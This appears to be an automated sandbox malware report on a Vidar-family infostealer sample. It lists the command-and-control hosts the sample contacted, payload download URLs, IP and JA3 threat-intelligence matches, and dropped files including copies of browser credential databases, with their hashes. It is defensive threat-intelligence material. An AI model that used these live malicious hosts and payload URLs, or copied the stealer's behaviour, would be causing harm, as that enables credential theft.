https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://arpdabl.zapto.KFHJ	file.exe, 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/about/	file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/my/wishlist/	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/armad2ahellosqls.dllsqlite3.dllIn	file.exe, 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.212.60/licies	file.exe, 00000000.00000003.2269115043.00000000024FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/market/	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/news/	file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/	file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.212.60/freebl3.dllE	file.exe, 00000000.00000003.2395488232.000000001B541000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
184.185.247.130	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
209.99.203.131	unknown	United States	12282	GMAUS	false
216.9.179.60	unknown	United States	17385	ORBITELUS	false
73.38.186.219	unknown	United States	7922	COMCAST-7922US	false
45.8.98.78	unknown	Russian Federation	395800	GBTCLOUDUS	true
95.165.139.85	unknown	Russian Federation	25513	ASN-MGTS-USPDRU	false
204.8.84.94	unknown	United States	32641	ARBINET-INTERNALUS	true
23.192.247.89	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
173.230.128.232	unknown	United States	63949	LINODE-APLinodeLLCUS	false
82.165.57.155	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
24.92.16.253	unknown	United States	33363	BHN-33363US	false
139.59.20.27	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	false
77.91.101.71	arpdabl.zapto.org	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	false
5.75.212.60	unknown	Germany	24940	HETZNER-ASDE	false
91.149.237.69	unknown	Poland	41952	MARTON-ASPL	false
91.92.250.213	unknown	Bulgaria	34368	THEZONEBG	false
81.6.45.56	unknown	Switzerland	13030	INIT7CH	false
194.87.219.156	unknown	Russian Federation	197695	AS-REGRU	false
75.97.173.28	unknown	United States	3737	AS-PTDUS	false
91.194.11.174	unknown	Russian Federation	42994	HQservCommunicationSolutionsIL	false
67.166.47.100	unknown	United States	7922	COMCAST-7922US	false
68.148.96.106	unknown	Canada	6327	SHAWCA	true
70.18.38.5	unknown	United States	701	UUNETUS	false
5.64.137.68	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
68.53.161.168	unknown	United States	7922	COMCAST-7922US	true
119.13.124.67	unknown	Australia	9723	ISEEK-AS-APiseekCommunicationsPtyLtdAU	false
68.119.203.48	unknown	United States	20115	CHARTER-20115US	false
130.185.251.21	unknown	Bulgaria	203380	DAINTERNATIONALGROUPGB	false
198.46.178.145	unknown	United States	36352	AS-COLOCROSSINGUS	false
91.224.234.189	unknown	Russian Federation	56542	PARKTELECOM-ASRU	true
24.124.34.93	unknown	United States	11232	MIDCO-NETUS	false
99.252.52.199	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
73.62.1.179	unknown	United States	7922	COMCAST-7922US	true
186.28.6.171	unknown	Colombia	19429	ETB-ColombiaCO	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482922
Start date and time:	2024-07-26 11:25:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@43/76@2/35
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 60% Number of executed functions: 80 Number of non-executed functions: 130
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21, 52.168.117.172
Excluded domains from analysis (whitelisted): client.wns.windows.com, onedsblobprdeus07.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BFCAAEHJDB.exe, PID 1952 because there are no executed function
Execution Graph export aborted for target BFCAAEHJDB.exe, PID 6440 because there are no executed function
Execution Graph export aborted for target euasv89vr56qz5toefmgc1.exe, PID 3728 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:26:34	API Interceptor	1x Sleep call for process: file.exe modified
05:27:21	API Interceptor	2x Sleep call for process: WerFault.exe modified
05:27:32	API Interceptor	104x Sleep call for process: BFCAAEHJDB.exe modified
05:28:08	API Interceptor	253x Sleep call for process: main.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.101.71	Bootstrapper.exe	Get hash	malicious	Hancitor, Vidar	Browse	arpdabl.zapto.org/
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse	arpdabl.zapto.org/
	subsoft.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	arpdabl.zapto.org/
	hOYGfIcBVf.exe	Get hash	malicious	LummaC, Vidar	Browse	arpdabl.zapto.org/
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	arpdabl.zapto.org/
	MN3OAv98T9.exe	Get hash	malicious	LummaC, Vidar	Browse	arpdabl.zapto.org/
	file.exe	Get hash	malicious	Vidar	Browse	arpdabl.zapto.org/
	file.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	arpdabl.zapto.org/
	file.exe	Get hash	malicious	Vidar	Browse	arpdabl.zapto.org/
	c23b4a05be1b5587fe7d4283c7a99e44b695f486db8f225f5eabf9d7df75f37a_payload.exe	Get hash	malicious	LummaC, Vidar	Browse	arpdabl.zapto.org/
23.192.247.89	file.exe	Get hash	malicious	Vidar	Browse
	LisectAVT_2403002B_272.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	35fcdf3a.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse
	CloudInstaller.zip	Get hash	malicious	Unknown	Browse
	SapphireX.exe	Get hash	malicious	LummaC Stealer	Browse
	v993SRbY3C.exe	Get hash	malicious	RedLine	Browse
	ynZemxI36h.exe	Get hash	malicious	RedLine	Browse
	rqdYnT5Mf1.exe	Get hash	malicious	RedLine	Browse
	UwC67bObmD.exe	Get hash	malicious	RedLine	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	file.exe	Get hash	malicious	Vidar	Browse	23.192.247.89
	LisectAVT_2403002B_272.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.192.247.89
	LisectAVT_2403002B_344.exe	Get hash	malicious	Bdaejec, Vidar	Browse	23.207.106.113
	LisectAVT_2403002C_60.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.199.218.33
	LisectAVT_2403002C_67.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.199.218.33
	LisectAVT_2403002C_81.exe	Get hash	malicious	Vidar	Browse	23.197.127.21
	35fcdf3a.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.192.247.89
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse	23.192.247.89
	subsoft.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.197.127.21
	CloudInstaller.zip	Get hash	malicious	Unknown	Browse	23.192.247.89
arpdabl.zapto.org	file.exe	Get hash	malicious	Vidar	Browse	77.91.101.71
	Bootstrapper.exe	Get hash	malicious	Hancitor, Vidar	Browse	77.91.101.71
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse	77.91.101.71
	subsoft.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	77.91.101.71
	hOYGfIcBVf.exe	Get hash	malicious	LummaC, Vidar	Browse	77.91.101.71
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	77.91.101.71
	MN3OAv98T9.exe	Get hash	malicious	LummaC, Vidar	Browse	77.91.101.71
	file.exe	Get hash	malicious	Vidar	Browse	77.91.101.71
	file.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	77.91.101.71
	file.exe	Get hash	malicious	Vidar	Browse	77.91.101.71

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GMAUS	M2CRoPxCDK.elf	Get hash	malicious	Unknown	Browse	65.19.82.213
	fSjZjXek7S.elf	Get hash	malicious	Mirai	Browse	209.99.212.6
	Yzkk3B5jl4.elf	Get hash	malicious	Mirai	Browse	68.142.33.109
	SecuriteInfo.com.Trojan.Linux.Mirai.1.6775.29501.elf	Get hash	malicious	Mirai	Browse	209.99.212.8
	iIvAtah5fz.elf	Get hash	malicious	Mirai	Browse	68.142.33.114
	KKveTTgaAAsecNNaaaa.arm7	Get hash	malicious	Mirai	Browse	69.54.3.95
	zz.mips.vir	Get hash	malicious	Mirai	Browse	209.99.212.6
	arm	Get hash	malicious	Mirai	Browse	65.19.82.217
	sora.x86	Get hash	malicious	Mirai	Browse	65.19.82.208
ASN-CXA-ALL-CCI-22773-RDCUS	mpsl.elf	Get hash	malicious	Mirai	Browse	72.194.198.162
	arm7.elf	Get hash	malicious	Mirai	Browse	68.6.47.11
	nX1oQE2we8.exe	Get hash	malicious	CryptOne, Qbot	Browse	72.209.191.27
	LisectAVT_2403002C_89.exe	Get hash	malicious	FormBook	Browse	98.167.121.228
	94.156.8.9-skid.mips-2024-07-23T17_40_11.elf	Get hash	malicious	Mirai, Moobot	Browse	184.190.153.158
	wAO7F8FbEz.elf	Get hash	malicious	Unknown	Browse	68.96.185.235
	0GJSC4Ua2K.elf	Get hash	malicious	Unknown	Browse	174.79.178.111
	PoksxEQkb8.elf	Get hash	malicious	Unknown	Browse	70.183.145.149
	Fzfee1Lgc2.elf	Get hash	malicious	Unknown	Browse	174.73.93.138
	Ym4vc47pgk.elf	Get hash	malicious	Unknown	Browse	184.183.128.11
COMCAST-7922US	xd.mips64.elf	Get hash	malicious	Unknown	Browse	73.47.225.80
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	68.49.17.231
	LisectAVT_2403002A_73.exe	Get hash	malicious	Fareit	Browse	71.192.41.219
	LisectAVT_2403002A_73.exe	Get hash	malicious	Fareit	Browse	71.192.41.219
	m68k.elf	Get hash	malicious	Mirai	Browse	96.79.106.150
	mpsl.elf	Get hash	malicious	Mirai	Browse	74.24.119.207
	ppc.elf	Get hash	malicious	Mirai	Browse	67.187.231.251
	sh4.elf	Get hash	malicious	Mirai	Browse	174.52.32.64
	spc.elf	Get hash	malicious	Mirai	Browse	73.52.142.147
	arm7.elf	Get hash	malicious	Mirai	Browse	50.192.28.95
ORBITELUS	1CZlhmRsza.elf	Get hash	malicious	Mirai, Moobot	Browse	208.115.146.132
	3LI2VAvf26.elf	Get hash	malicious	Unknown	Browse	208.115.145.33
	JoaD4Dp71E.elf	Get hash	malicious	Mirai	Browse	208.115.145.97
	VJy4TgKlVo.elf	Get hash	malicious	Mirai	Browse	208.90.178.131
	3LqyRhuLwv.elf	Get hash	malicious	Mirai	Browse	208.115.145.97
	skyljne.mpsl.elf	Get hash	malicious	Mirai	Browse	208.90.178.146
	pf8hBdVOlp.elf	Get hash	malicious	Mirai	Browse	208.115.145.91
	4E2ggD3VyS.elf	Get hash	malicious	Mirai	Browse	208.90.178.178
	botx.arm.elf	Get hash	malicious	Unknown	Browse	208.115.146.130
	sora.x86.elf	Get hash	malicious	Mirai	Browse	208.115.145.83

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	yINa8PjdSm.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	5.75.212.60
	DDPciclShm.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	5.75.212.60
	uUW3k0UzfV.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	5.75.212.60
	yINa8PjdSm.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	5.75.212.60
	DDPciclShm.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	5.75.212.60
	uUW3k0UzfV.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	5.75.212.60
	file.exe	Get hash	malicious	Vidar	Browse	5.75.212.60
	LisectAVT_2403002B_159.dll	Get hash	malicious	Dridex Dropper	Browse	5.75.212.60
	LisectAVT_2403002B_218.exe	Get hash	malicious	Unknown	Browse	5.75.212.60
	LisectAVT_2403002B_218.exe	Get hash	malicious	Unknown	Browse	5.75.212.60
37f463bf4616ecd445d4a1937da06e19	setup#U641c#U72d7#U62fc#U97f3#U8f93#U5165#U6cd5_11_4002071.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	23.192.247.89
	SecuriteInfo.com.Win32.Trojan-Downloader.Generic.WCT23T.27470.26894.exe	Get hash	malicious	Unknown	Browse	23.192.247.89
	SecuriteInfo.com.Win32.Trojan-Downloader.Generic.WCT23T.27470.26894.exe	Get hash	malicious	Unknown	Browse	23.192.247.89
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	23.192.247.89
	kYAaLR8o4t.hta	Get hash	malicious	Unknown	Browse	23.192.247.89
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	23.192.247.89
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	23.192.247.89
	file.exe	Get hash	malicious	Vidar	Browse	23.192.247.89
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	23.192.247.89
	7Y18r(203).exe	Get hash	malicious	Upatre	Browse	23.192.247.89

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Bootstrapper.exe	Get hash	malicious	Hancitor, Vidar	Browse
	azeyNF3kkf.exe	Get hash	malicious	Stealc, Vidar	Browse
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Bootstrapper.exe	Get hash	malicious	Hancitor, Vidar	Browse
	azeyNF3kkf.exe	Get hash	malicious	Stealc, Vidar	Browse
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFCAAEHJDB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11989504
Entropy (8bit):	6.07792398425301
Encrypted:	false
SSDEEP:	49152:x3FUhq8uEA5Cu+Ng9hxWpZdESPzNHk8aPu9ipJY0/CcjaChdReYEk8fSj+TBmkOh:P/CvGkk+8qc8OnF8iiDoA1+dbjdQI
MD5:	E9CEBB30948E986C3C16E0C9EF8EC9F2
SHA1:	2F8B30106FE66B69C4920771142189A7B6C0C49E
SHA-256:	3C96C92C11B1277B3569D21BDE04EE9B33501AEE5CB4AEA08DAC7DD41FF1845F
SHA-512:	122B44A39318A5D5D4DCA97D51A22BAA6B2B7BD9F0DAFEA81168C05BFE745C7D29AD3522B7CED2A75E7BD98ECBE3524AFD8C70522BE2D13AAC95E5F919A9F4A5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7........................................................................................................................................PE..d......f..........".........,+..............@..............................`.......................@............... ...............`.......`.."P......\|......................................................(....................t...............................text...0.......................... ..`.data....}.......~.................@....bss....,....`...........................idata.."P...`...R...D..............@....didata.............................@....edata.......`.......(..............@..@.tls.........p...........................rdata..m............*..............@..@.reloc...............,..............@..B.pdata..............................@..@.rsrc....\|......\|...v..............@..@.............`.....................@..@

C:\ProgramData\DAEGIDHDHIDG\AAKEGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHDHIDG\BAKJKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHDHIDG\ECBGCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHDHIDG\EGCFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHDHIDG\FHIEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	modified
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHDHIDG\FHIEBK-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHDHIDG\GIIDBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHDHIDG\IDGDAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
